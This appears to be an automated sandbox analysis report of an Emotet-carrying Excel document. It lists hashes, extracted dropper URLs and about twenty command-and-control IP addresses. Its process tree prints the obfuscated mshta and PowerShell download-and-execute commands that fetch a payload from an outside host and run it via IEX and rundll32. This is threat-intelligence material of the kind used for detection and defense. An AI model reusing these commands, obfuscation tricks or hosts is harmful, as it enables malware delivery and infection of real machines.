Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21/01/2022, 00:20

General

  • Target

    e85aa320fc84a740efaa1e2ce533bcda.xls

  • Size

    70KB

  • MD5

    e85aa320fc84a740efaa1e2ce533bcda

  • SHA1

    3967a9b469537e2d5854727020d298f37edded63

  • SHA256

    9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d

  • SHA512

    4968e18fad786be5f207f6124f266ce1844dc7e797688308e692ff7a788ca1558abf6cdcaa5b692b093740b4eeff070aeb14bf18ab1b936a3b6c02e4d8f67572

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e85aa320fc84a740efaa1e2ce533bcda.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:952
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1180
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:684
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:864
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1152
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gxzaqmlm\bahg.vvp",rgosLR
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:648
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gxzaqmlm\bahg.vvp",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1016

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/648-93-0x0000000000220000-0x0000000000246000-memory.dmp

    Filesize

    152KB

  • memory/952-54-0x000000002FF21000-0x000000002FF24000-memory.dmp

    Filesize

    12KB

  • memory/952-118-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/952-57-0x00000000756C1000-0x00000000756C3000-memory.dmp

    Filesize

    8KB

  • memory/952-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/952-55-0x0000000070E71000-0x0000000070E73000-memory.dmp

    Filesize

    8KB

  • memory/1016-96-0x0000000000310000-0x0000000000336000-memory.dmp

    Filesize

    152KB

  • memory/1016-104-0x0000000002680000-0x00000000026A6000-memory.dmp

    Filesize

    152KB

  • memory/1016-116-0x0000000002C41000-0x0000000002C63000-memory.dmp

    Filesize

    136KB

  • memory/1016-114-0x0000000002B40000-0x0000000002B66000-memory.dmp

    Filesize

    152KB

  • memory/1016-112-0x0000000002AE0000-0x0000000002B06000-memory.dmp

    Filesize

    152KB

  • memory/1016-110-0x0000000002920000-0x0000000002946000-memory.dmp

    Filesize

    152KB

  • memory/1016-108-0x00000000027F0000-0x0000000002816000-memory.dmp

    Filesize

    152KB

  • memory/1016-106-0x00000000026E0000-0x0000000002706000-memory.dmp

    Filesize

    152KB

  • memory/1152-86-0x0000000002630000-0x0000000002656000-memory.dmp

    Filesize

    152KB

  • memory/1152-91-0x00000000028C0000-0x00000000028E6000-memory.dmp

    Filesize

    152KB

  • memory/1152-88-0x00000000027B0000-0x00000000027D6000-memory.dmp

    Filesize

    152KB

  • memory/1152-78-0x0000000000230000-0x0000000000256000-memory.dmp

    Filesize

    152KB

  • memory/1152-84-0x0000000002470000-0x0000000002496000-memory.dmp

    Filesize

    152KB

  • memory/1152-82-0x0000000000C90000-0x0000000000CB6000-memory.dmp

    Filesize

    152KB

  • memory/1152-80-0x0000000000640000-0x0000000000666000-memory.dmp

    Filesize

    152KB

  • memory/1180-63-0x0000000002540000-0x000000000318A000-memory.dmp

    Filesize

    12.3MB

  • memory/1180-64-0x0000000004B20000-0x0000000005171000-memory.dmp

    Filesize

    6.3MB

  • memory/1180-62-0x0000000002540000-0x000000000318A000-memory.dmp

    Filesize

    12.3MB